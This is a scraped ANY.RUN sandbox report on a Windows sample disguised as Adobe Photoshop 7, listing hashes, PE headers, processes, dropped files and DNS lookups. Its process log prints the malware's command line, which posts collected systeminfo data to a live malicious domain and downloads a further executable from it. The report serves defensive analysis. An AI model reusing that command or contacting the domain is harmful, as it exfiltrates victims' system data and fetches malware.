analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

db0d3b37215d739291f55614d671734ac47d2297540e9be985e1ff7a2737e20c

Full analysis: https://app.any.run/tasks/d5bd713e-ca12-4a5e-a619-cc27b079e77b
Verdict: Malicious activity
Analysis date: June 19, 2019, 12:41:13
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

CC4192CA153C62907F0BE34DB50E4BF6

SHA1:

86BD83D3DEC80BB8A7017AD24842A2DAD4CBF8FE

SHA256:

DB0D3B37215D739291F55614D671734AC47D2297540E9BE985E1FF7A2737E20C

SSDEEP:

12288:0XwOrReFWQF6oyi65S65VGxoTwEzr9VhURFVBc3nkUX:0XwOrRsO7ikzuuTXvhU1ot

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • Cookie.exe (PID: 3008)
  • SUSPICIOUS

    • Uses SYSTEMINFO.EXE to read environment

      • cmd.exe (PID: 2552)
    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 2552)
    • Executable content was dropped or overwritten

      • db0d3b37215d739291f55614d671734ac47d2297540e9be985e1ff7a2737e20c.exe (PID: 3036)
    • Starts CMD.EXE for commands execution

      • db0d3b37215d739291f55614d671734ac47d2297540e9be985e1ff7a2737e20c.exe (PID: 3036)
      • cmd.exe (PID: 2552)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2012:12:31 01:38:51+01:00
PEType: PE32
LinkerVersion: 8
CodeSize: 101888
InitializedDataSize: 90112
UninitializedDataSize: -
EntryPoint: 0x1942f
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 7.0.0.0
ProductVersionNumber: 7.0.0.0
FileFlagsMask: 0x003f
FileFlags: Debug
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
CompanyName: Adobe Systems, Incorporated
FileDescription: Adobe Photoshop
FileVersion: 7
InternalName: Photoshop
LegalCopyright: © 1990-2002 Adobe Systems Inc.
OriginalFileName: Photoshop.exe
ProductName: Adobe Photoshop
ProductVersion: 7

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 31-Dec-2012 00:38:51
Detected languages:
  • English - United States
  • Russian - Russia
CompanyName: Adobe Systems, Incorporated
FileDescription: Adobe Photoshop
FileVersion: 7.0
InternalName: Photoshop
LegalCopyright: © 1990-2002 Adobe Systems Inc.
OriginalFilename: Photoshop.exe
ProductName: Adobe Photoshop
ProductVersion: 7.0

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0060
Pages in file: 0x0001
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000060

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 4
Time date stamp: 31-Dec-2012 00:38:51
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x00018DDE
0x00018E00
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.67402
.rdata
0x0001A000
0x00003BCA
0x00003C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.71339
.data
0x0001E000
0x00004DEC
0x00000A00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
4.45098
.rsrc
0x00023000
0x00012000
0x00011A00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.62001

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.23138
838
Latin 1 / Western European
English - United States
RT_MANIFEST
2
5.26565
2216
Latin 1 / Western European
Russian - Russia
RT_ICON
3
4.87323
3752
Latin 1 / Western European
Russian - Russia
RT_ICON
4
3.28274
1384
Latin 1 / Western European
Russian - Russia
RT_ICON
5
4.43733
9640
UNKNOWN
Russian - Russia
RT_ICON
6
5.13122
1128
UNKNOWN
Russian - Russia
RT_ICON
7
5.14537
1128
UNKNOWN
Russian - Russia
RT_ICON
8
2.30331
744
UNKNOWN
Russian - Russia
RT_ICON
9
6.18013
2216
UNKNOWN
Russian - Russia
RT_ICON
10
5.87645
4264
UNKNOWN
Russian - Russia
RT_ICON

Imports

ADVAPI32.dll
COMCTL32.dll
GDI32.dll
KERNEL32.dll
MSVCRT.dll
OLEAUT32.dll
SHELL32.dll
USER32.dll
ole32.dll
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
46
Monitored processes
10
Malicious processes
0
Suspicious processes
2

Behavior graph

Click at the process to see the details
start db0d3b37215d739291f55614d671734ac47d2297540e9be985e1ff7a2737e20c.exe cmd.exe no specs cmd.exe no specs cmd.exe no specs systeminfo.exe no specs timeout.exe no specs taskkill.exe no specs cookie.exe no specs timeout.exe no specs timeout.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3036"C:\Users\admin\AppData\Local\Temp\db0d3b37215d739291f55614d671734ac47d2297540e9be985e1ff7a2737e20c.exe" C:\Users\admin\AppData\Local\Temp\db0d3b37215d739291f55614d671734ac47d2297540e9be985e1ff7a2737e20c.exe
explorer.exe
User:
admin
Company:
Adobe Systems, Incorporated
Integrity Level:
MEDIUM
Description:
Adobe Photoshop
Version:
7.0
2552cmd /c ""C:\Users\admin\AppData\Local\Temp\7ZipSfx.000\Cookies.cmd" "C:\Windows\system32\cmd.exedb0d3b37215d739291f55614d671734ac47d2297540e9be985e1ff7a2737e20c.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3136C:\Windows\system32\cmd.exe /c vol c:C:\Windows\system32\cmd.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3416C:\Windows\system32\cmd.exe /c vol c:C:\Windows\system32\cmd.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3720systeminfo C:\Windows\system32\systeminfo.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Displays system information
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4056timeout /t 15C:\Windows\system32\timeout.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
timeout - pauses command processing
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3668taskkill /f /im Cookie.exeC:\Windows\system32\taskkill.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3008Cookie.exe --post-data="versiya=arm_09.10&comp=USER-PC&id=USER-PC_C4BA3647&sysinfo=Host Name: USER-PC+###OS Name: Microsoft Windows 7 Professional +###OS Version: 6.1.7601 Service Pack 1 Build 7601+###OS Manufacturer: Microsoft Corporation+###OS Configuration: Standalone Workstation+###OS Build Type: Multiprocessor Free+###Registered Owner: admin+###Registered Organization: +###Product ID: 00371-461-2203502-85564+###Original Install Date: 10/5/2017, 10:19:56 AM+###System Boot Time: 6/19/2019, 1:18:42 PM+###System Manufacturer: DELL+###System Model: DELL+###System Type: X86-based PC+###Processor(s): 1 Processor(s) Installed.+###[01]: x64 Family 6 Model 94 Stepping 3 GenuineIntel ~3600 Mhz+###BIOS Version: DELL DELL, 1/1/2011+###Windows Directory: C:\Windows+###System Directory: C:\Windows\system32+###Boot Device: \Device\HarddiskVolume1+###System Locale: en-us;English (United States)+###Input Locale: en-us;English (United States)+###Time Zone: (UTC) Dublin, Edinburgh, Lisbon, London+###Total Physical Memory: 3,584 MB+###Available Physical Memory: 3,013 MB+###Virtual Memory: Max Size: 7,166 MB+###Virtual Memory: Available: 6,630 MB+###Virtual Memory: In Use: 536 MB+###Page File Location(s): C:\pagefile.sys+###Domain: WORKGROUP+###Logon Server: \\USER-PC+###Hotfix(s): 3 Hotfix(s) Installed.+###[01]: KB2534111+###[02]: KB2999226+###[03]: KB976902+###Network Card(s): 1 NIC(s) Installed.+###[01]: Intel(R) PRO/1000 MT Network Connection+###Connection Name: Connection+###DHCP Enabled: No+###IP address(es)+###[01]: 192.168.100.36+###[02]: fe80::a179:b3ff:199:2314+###" "http://dataoffice.zapto.org" -q -N http://dataoffice.zapto.org -O richtime.exeC:\Users\admin\AppData\Local\Temp\7ZipSfx.000\Cookie.execmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
1
3612timeout /T 5C:\Windows\system32\timeout.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
timeout - pauses command processing
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2344timeout /t 49C:\Windows\system32\timeout.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
timeout - pauses command processing
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
383
Read events
376
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
0
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
3036db0d3b37215d739291f55614d671734ac47d2297540e9be985e1ff7a2737e20c.exeC:\Users\admin\AppData\Local\Temp\7ZipSfx.000\Cookies.cmdtext
MD5:5D6AA221ED78ECB7C8A0065DC192615E
SHA256:87A5DCFDC9B4ADF7F5155130945012B1309B5C17432AF830B68965458E8A376E
3036db0d3b37215d739291f55614d671734ac47d2297540e9be985e1ff7a2737e20c.exeC:\Users\admin\AppData\Local\Temp\7ZipSfx.000\Cookie.exeexecutable
MD5:834C709455BFEFB9B0E8976BAD13A8F4
SHA256:8B50E3CA06A22D0BE6A71232B320137C776F80AC3F2C81B7440B43854B8A3BF0
2552cmd.exeC:\Users\admin\AppData\Local\Temp\7ZipSfx.000\MDAPZYHtext
MD5:5D170CD8D5E66129D5B7C62B26B000A7
SHA256:6BE68FC0FEC87480CCA0A1D8FF1B5011F11CA4A09E7E5A65C6D3BB6DE0231E65
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

Domain
IP
Reputation
dataoffice.zapto.org
  • 0.0.0.0
malicious

Threats

No threats detected
No debug info